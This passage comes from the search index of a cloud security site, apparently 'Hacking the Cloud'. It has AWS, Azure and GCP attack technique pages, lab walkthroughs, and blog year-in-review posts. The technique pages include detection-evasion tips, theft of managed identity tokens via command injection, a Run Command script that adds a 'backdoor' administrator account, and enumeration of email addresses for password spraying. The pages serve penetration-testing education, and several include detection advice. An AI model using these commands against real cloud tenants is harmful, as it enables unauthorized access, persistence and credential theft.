normally through the CLI with 2 exceptions. From the documentation:</p> <ul> <li>You cannot call any IAM operations using the AWS CLI or the AWS API. </li> <li>You cannot call any AWS STS operations except <code>sts:GetCallerIdentity</code>.</li> </ul> <p>However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.</p> <p>Tip</p> <p>If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the <code>ConsoleLogin</code> CloudTrail event. If at all possible, only use the IAM credentials generated from <code>sts:GetFederationToken</code> in the CLI.</p> <p>To create temporary IAM credentials using <code>sts:GetFederationToken</code>, you can use the following CLI command:</p> <pre><code>aws sts get-federation-token \\\n--name your_choice \\\n--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \\\n--duration-seconds 129600\n</code></pre> <p>Warning</p> <p>While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the <code>AdministratorAccess</code> policy raise suspicions? What about an extremely long lived session?</p> <p>It is important to note that the provided <code>policy-arns</code> will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the <code>AdministratorAccess</code> policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.</p> <p>Tip</p> <p>In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.</p> <p>For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a \"DenyAll\" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.</p> <p>It is also advisable to determine how common the use of <code>sts:GetFederationToken</code> is in your environments and alert on its use, or implement a Service Control Policy to prevent it.</p>"},{"location":"aws/post_exploitation/user_data_script_persistence/","title":"User Data Script Persistence","text":"<p>When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.</p>"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-the-user-data-script","title":"Modify the User Data Script","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>modify-instance-attribute</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>ec2:StartInstances</li> <li>ec2:DescribeInstances</li> <li>ec2:StopInstances</li> </ul> </li> </ul> <p>If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.</p> <p>The steps to modify user data scripts can be found here.</p>"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-a-resource-called-by-the-script","title":"Modify a Resource Called by the Script","text":"<p>In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.</p>"},{"location":"azure/abusing-managed-identities/","title":"Abusing Managed Identities","text":"<ul> <li> <p> Original Research</p> <p>Create an Azure Vulnerable Lab: Part #4 \u2013 Managed Identities by Andrei Agape</p> </li> </ul> <p>Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.</p> <pre><code>Compute Resource --&gt; Managed Identity --&gt; Assigned Role(s) --&gt; Storage Account --&gt; Container\n</code></pre> <p>A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.</p>"},{"location":"azure/abusing-managed-identities/#setup-azure-managed-identity","title":"Setup Azure Managed Identity","text":"<p>First we enable the managed identity for the web application:</p> <p>)</p> <p>Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).</p> <p></p> <p>Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates \u201cdownwards\u201d in the Azure architecture layer.</p> <p>The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.</p> <p></p> <p>Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.</p> <p></p> <p>Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -&gt; View access to this resource.</p> <p></p> <p>So in our case, we should see under the Storage Account that the web application has Reader and Data Access:</p> <p></p>"},{"location":"azure/abusing-managed-identities/#next-steps","title":"Next steps","text":"<p>Now that we have the basics of how Managed Identity works, let\u2019s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!</p> <p></p> <p>While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the \"images\" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account. </p>"},{"location":"azure/abusing-managed-identities/#exploiting-azure-managed-identity","title":"Exploiting Azure Managed Identity","text":"<p>Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure. <pre><code>curl \"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&amp;api-version=2017-09-01\" -H secret:$IDENTITY_HEADER\n</code></pre> </p> <p>Using the Azure Powershell module, we can connect to Azure with the access token:  <pre><code>PS&gt; Install-Module -Name Az -Repository PSGallery -Force\nPS&gt; Connect-AzAccount -AccessToken &lt;access_token&gt; -AccountId &lt;client_id&gt;\n</code></pre></p> <p>Once the connection has been established, you will be able to see the details for the tenant, subscription and other details the compromised managed identity has access to - using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:</p> <p></p> <p>To list the roles assigned to the managed identity, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires and additional token from the Graph API which we can get from the https://graph.microsoft.com/ endpoint, additionally it requires the permission to list roles and permissions for identities which the compromised Managed Identity does not have.</p> <p>However, you can still try to access the Storage Account keys without these permissions and see if they are successful. For that you can use the Get-AzStorageAccountKey cmdlet with the Resource Group Name and Account Name that was found in the previous step.</p> <p>Get storage account keys:</p> <pre><code>&gt;Get-AzStorageAccountKey -ResourceGroupName \"0xpwnlab\" -AccountName \"0xpwnstorageacc\"\n\nKeyName Value                       Permissions CreationTime\n------- -----                       ----------- ----------\nkey1    L175hccq[...]lH9DJ==        Full 3/12/20...\nkey2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...\n</code></pre> <p>http://aka.ms/storage-explorer</p> <p>If the above command returns two keys, then it means that our identity had permissions to list them.  Assuming this is the case - let\u2019s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account. </p> <p>In the Azure Storage Explorer, we click the connect icon and select storage account or service.</p> <p></p> <p>On the second step, this time we select the Account name and key option:</p> <p></p> <p>For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:</p> <p></p> <p>Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag. </p> <p></p> <p>And that\u2019s it!  We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to.  The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information. </p>"},{"location":"azure/anonymous-blob-access/","title":"Anonymous Blob Access","text":"<ul> <li> <p> Original Research</p> <p>Create an Azure Vulnerable Lab: Part #1 \u2013 Anonymous Blob Access by Andrei Agape</p> </li> </ul> <p>\"Storage Accounts\" is the service provided by Azure to store data in the cloud. A storage account can used to store:</p> <ul> <li>Blobs</li> <li>File shares</li> <li>Tables</li> <li>Queues</li> <li>VM disks</li> </ul> <p></p> <p>For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:</p> <ul> <li>Private Access \u2013 no anonymous access is allowed</li> <li>Blob Access \u2013 we can access the blobs anonymously, as long as we know the full URL (container name + blob name)</li> <li>Container Access \u2013 we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)</li> </ul> <p>As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.</p>"},{"location":"azure/anonymous-blob-access/#exploiting-anonymous-blob-access","title":"Exploiting Anonymous Blob Access","text":"<p>Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I\u2019ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it\u2019ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:</p> <pre><code>PS &gt; import-module .\\MicroBurst.psm1\nPS&gt; Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc\nFound Storage Account - 0xpwnstorageacc.blob.core.windows.net\nFound Container - 0xpwnstorageacc.blob.core.windows.net/public\nPublic File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n</code></pre> <p>Alternatively adding <code>?restype=container&amp;comp=list</code> after the container name: <pre><code>https://&lt;storage_account&gt;.blob.core.windows.net/&lt;container&gt;?restype=container&amp;comp=list\n</code></pre> Output: <pre><code>&lt;EnumerationResults ContainerName=\"https://0xpwnstorageacc.blob.core.windows.net/public\"&gt;\n    &lt;Blobs&gt;\n        &lt;Blob&gt;\n            &lt;Name&gt;flag.txt&lt;/Name&gt;\n            &lt;Url&gt;\nhttps://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n&lt;/Url&gt;\n            &lt;Properties&gt;\n                &lt;Last-Modified&gt;Sat, 05 Mar 2022 18:02:14 GMT&lt;/Last-Modified&gt;\n                &lt;Etag&gt;0x8D9FED247B7848D&lt;/Etag&gt;\n                &lt;Content-Length&gt;34&lt;/Content-Length&gt;\n                &lt;Content-Type&gt;text/plain&lt;/Content-Type&gt;\n                &lt;Content-Encoding/&gt;\n                &lt;Content-Language/&gt;\n                &lt;Content-MD5&gt;lur6Yvd173x6Zl1HUGvtag==&lt;/Content-MD5&gt;\n                &lt;Cache-Control/&gt;\n                &lt;BlobType&gt;BlockBlob&lt;/BlobType&gt;\n                &lt;LeaseStatus&gt;unlocked&lt;/LeaseStatus&gt;\n            &lt;/Properties&gt;\n        &lt;/Blob&gt;\n    &lt;/Blobs&gt;\n    &lt;NextMarker/&gt;\n&lt;/EnumerationResults&gt;\n</code></pre></p>"},{"location":"azure/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses","text":"<p>You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p>"},{"location":"azure/run-command-abuse/","title":"Run Command Abuse","text":"<ul> <li> <p> Original Research</p> <p>Azure Run Command for Dummies by Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri</p> </li> </ul>"},{"location":"azure/run-command-abuse/#technique","title":"Technique","text":"<p>MITRE: Execution &gt; Cloud Administration Command</p> <p>Run Command is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:</p> <ul> <li>Azure Portal,</li> <li>Azure CLI, and</li> <li>PowerShell</li> </ul> <p>Once configured the script is run via the virtual machine agent installed on the virtual machine.</p> <p>A script ran via Run Command runs with the following privleges:</p> <ul> <li><code>System</code> on Windows, and as </li> <li><code>root</code> on Linux</li> </ul> <p>In order to use this functionality an identity must have the following role assigned to it: <code>Microsoft.Compute/virtualMachines/runCommands/action</code></p> <p>This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.</p> <p>The script that this example will utilise is as follows:</p> <pre><code>net user /add backdoor BingoBango123!\nnet localgroup administrators backdoor /add\n</code></pre> <p>This script:</p> <ul> <li>Creates a new user named <code>backdoor</code>, then</li> <li>Adds the user to the local <code>Administrator</code> group</li> </ul> <p>This example will use the Azure Portal to create and run the aforementioned script. More information on running these commands via the Azure CLI or PowerShell can be found within the relevant Microsoft documentation.</p> <p>Browsing to the virtual machine, we can select the Run Command option, enter our script then execute it, as depicted in the following screenshot:</p> <p></p> <p>Once the script has executed, we can authenticate to the virtual machine with our new credentials and check on it's status, as depicted in the following screenshot:</p> <p></p> <p>Here we can see that the script has successfully executed, and the <code>backdoor</code> user has been added to the local <code>Administrator</code> group.</p>"},{"location":"azure/run-command-abuse/#detection","title":"Detection","text":"<p>The following operation name can be used to audit and alert on Run Commands being used within a tenant: <code>Microsoft.Compute/virtualMachines/runCommand/action</code></p>"},{"location":"azure/run-command-abuse/#further-reading","title":"Further reading","text":"<ul> <li>https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command</li> <li>https://learn.microsoft.com/en-us/azure/virtual-machines/linux/run-command</li> </ul>"},{"location":"azure/soft-deleted-blobs/","title":"Soft Deleted Blobs","text":"<ul> <li> <p> Original Research</p> <p>0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 \u2013 Soft Deleted Blobs by Andrei Agape</p> </li> </ul> <p>In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:</p> <ul> <li>A shared access signature (SAS) \u2013 is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.</li> <li>A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.</li> <li>Managed Identities</li> </ul> <p>For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability.  We can find the connection string of a Storage Account in the Azure portal as shown below:</p> <p></p> <p>Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don\u2019t be that developer.</p> <p>The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day \u201cfeature\u201d. </p> <p></p>"},{"location":"azure/soft-deleted-blobs/#exploiting-soft-deleted-blobs","title":"Exploiting Soft Deleted Blobs","text":"<p>Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:</p> <p></p> <p>Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):</p> <p></p> <p>Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account</p> <p></p> <p>And that we want to use a Connection String</p> <p></p> <p>And we paste the value of the conn_str variable that we found in the source code, and connect:</p> <p></p> <p>On the left side menu, a new storage account should show up. Navigate to the Blob Containers -&gt; images and open it:</p> <p></p> <p>At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:</p> <p></p> <p>And voila! Right click -&gt; Undelete</p> <p></p>"},{"location":"blog/2022_wrap-up/","title":"2022 Wrap-up","text":"<p>Nick Frichette \u00b7 @frichette_n \u00b7   December 14, 2022   </p> <p>2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.</p>"},{"location":"blog/2022_wrap-up/#numbers","title":"Numbers","text":"<p>I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:</p> <ul> <li>625 stars gained on GitHub</li> <li>225 commits committed</li> <li>73,925 visits</li> <li>124,278 page views</li> <li>6,408 average monthly visitors (excluding December)</li> <li>9,763 average monthly visitors in the past quarter!</li> </ul> <p></p> <p>November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.</p> <p>Compared to 2021, visitor count has increased over <code>94%</code>! (Note: 2022 is not over, hence the dotted line for 2022)</p> <p></p> <p>We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.</p>"},{"location":"blog/2022_wrap-up/#most-popular-articles","title":"Most Popular Articles","text":"<p>Some more numbers; this time the most popular articles along with page views:</p> <ol> <li>Steal EC2 Metadata Credentials via SSRF - 10,963 page views!</li> <li>CI/CDon't - 5,842 page views.</li> <li>AWS Organizations Defaults - 5,325 page views.</li> <li>Connection Tracking - 5,209 page views.</li> <li>Using Stolen IAM Credentials - 5,043 page views.</li> </ol> <p>Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic. </p> <p>CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.</p> <p>Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a \"playbook\" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?</p>"},{"location":"blog/2022_wrap-up/#rss-feeds","title":"RSS Feeds!","text":"<p>If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).</p> <p>Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.</p>"},{"location":"blog/2022_wrap-up/#plagiarism","title":"Plagiarism","text":"<p>Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.</p> Hacking the Cloud Copy <p>As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project. </p> <p>Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).</p> <p>I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.</p> <p>To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.</p> <p>Feb 2024 Update</p> <p>It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.</p> <p>As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).</p> <p>Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.</p>"},{"location":"blog/2022_wrap-up/#mastodon","title":"Mastodon","text":"<p>In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.</p> <p>Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.</p> <p></p>"},{"location":"blog/2022_wrap-up/#plans-for-the-future","title":"Plans for the Future","text":"<p>Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call \"playbooks\"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.</p> <p>The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.</p> <p>And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.</p>"},{"location":"blog/2022_wrap-up/#conclusion","title":"Conclusion","text":"<p>I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!</p>"},{"location":"blog/2023_wrap-up/","title":"2023 Wrap-up","text":"<p>Nick Frichette \u00b7 @frichette_n \u00b7   December 20, 2023   </p> <p>2023 is coming to a close and it\u2019s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We\u2019ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.</p>"},{"location":"blog/2023_wrap-up/#numbers","title":"Numbers","text":"<p>Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:</p> <ul> <li>457 stars gained on GitHub (1389 total)</li> <li>128 commits committed</li> <li>96,031 visits</li> <li>187,542 pageviews</li> <li>8,238 average monthly visitors (excluding December)</li> <li>And a partridge in a pear tree</li> </ul> <p>Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!</p> <p>The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.</p>"},{"location":"blog/2023_wrap-up/#most-popular-articles","title":"Most popular articles","text":"<p>An area that I\u2019m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:</p> <ol> <li>Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!</li> <li>AWS Organizations Defaults &amp; Pivoting - 15,343 pageviews.</li> <li>Abusing Managed Identities - 5,703 pageviews.</li> <li>Using Stolen IAM Credentials - 5,594 pageviews.</li> <li>Connection Tracking - 4,869 pageviews.</li> </ol> <p>For the third year running, \u201cSteal EC2 Metadata Credentials via SSRF\u201d is our most popular article, but unlike previous years it\u2019s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we\u2019ll have to check the stats next year.</p> <p>In second place, and very close to first, we have \u201cAWS Organizations Defaults &amp; Pivoting\u201d. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the <code>OrganizationAccountAccessRole</code>, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.</p> <p>In third place, we have the first non-AWS article to ever make a top 5 (and I\u2019m pretty sure a top 10), \u201cAbusing Managed Identities\u201d. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I\u2019m excited to see more interest in other cloud providers. If you aren\u2019t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!</p>"},{"location":"blog/2023_wrap-up/#most-popular-social-networks","title":"Most popular social networks","text":"<p>If you\u2019re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.</p> <p></p> <ol> <li>LinkedIn - 42% of links</li> <li>Twitter - 30% of links</li> <li>GitHub - 13% of links</li> <li>Reddit - 9% of links</li> <li>Facebook - 6% of links</li> <li>Others - &lt;1%</li> </ol> <p>LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.</p> <p>In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022. </p> <p>For my Mastodon fans, I wouldn\u2019t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn\u2019t a very easy way to track it. Personally, I\u2019ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!</p>"},{"location":"blog/2023_wrap-up/#thank-you","title":"Thank you!","text":"<p>Again, I want to say thank you to everyone who has shared the site\u2019s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!</p>"},{"location":"blog/v2_new_look/","title":"Hacking The Cloud v2: New Look","text":"<p>Nick Frichette \u00b7 @frichette_n \u00b7   December 6, 2021   </p> <p>Whoa! Things look a little different? You're not imagining it.</p> <p> </p> The old look. <p>Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.</p>"},{"location":"blog/v2_new_look/#why-the-change","title":"Why the Change?","text":"<p>When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).</p> <p>This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.</p> <p>To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.</p>"},{"location":"blog/v2_new_look/#why-material-for-mkdocs","title":"Why Material for MkDocs?","text":"<p>For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, \"does this look okay on mobile?\".</p> <p>By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for. </p> <p>More than that, it's fun and easy to work with.</p> <p>If you'd like to support Material for MkDocs you can join me in sponsoring the project.</p>"},{"location":"blog/v2_new_look/#what-does-this-mean-for-you","title":"What Does This Mean for You?","text":"<p>Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.</p> <p>For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.</p>"},{"location":"gcp/capture_the_flag/gcp-goat/","title":"GCP Goat","text":"<p>GCP-Goat is the vulnerable application for learning the Google Cloud Security</p> <p>The Application consists of the following scenarios</p> <ul> <li>Attacking Compute Engine</li> <li>Attacking Sql Instance</li> <li>Attacking GKE</li> <li>Attacking GCS</li> <li>Privilege Escalation</li> <li>Privilege Escalation in Compute Engine</li> </ul> <p>Project-Link </p>"},{"location":"gcp/capture_the_flag/thunder_ctf/","title":"Thunder CTF","text":"<p>Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a \"secret\" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.</p> <p>The CTF is available at https://thunder-ctf.cloud/.</p> <p>The GitHub repository for the Thunder CTF also includes:</p> <ul> <li>Least Privileges</li> <li>Cloud Audit</li> </ul> <p>Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.</p> <p>Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.</p>"},{"location":"gcp/capture_the_flag/thunder_ctf/#links","title":"Links:","text":"<ul> <li>Website</li> <li>GitHub</li> </ul>"},{"location":"gcp/enumeration/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Google Workspace Email Addresses","text":"<p>You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. 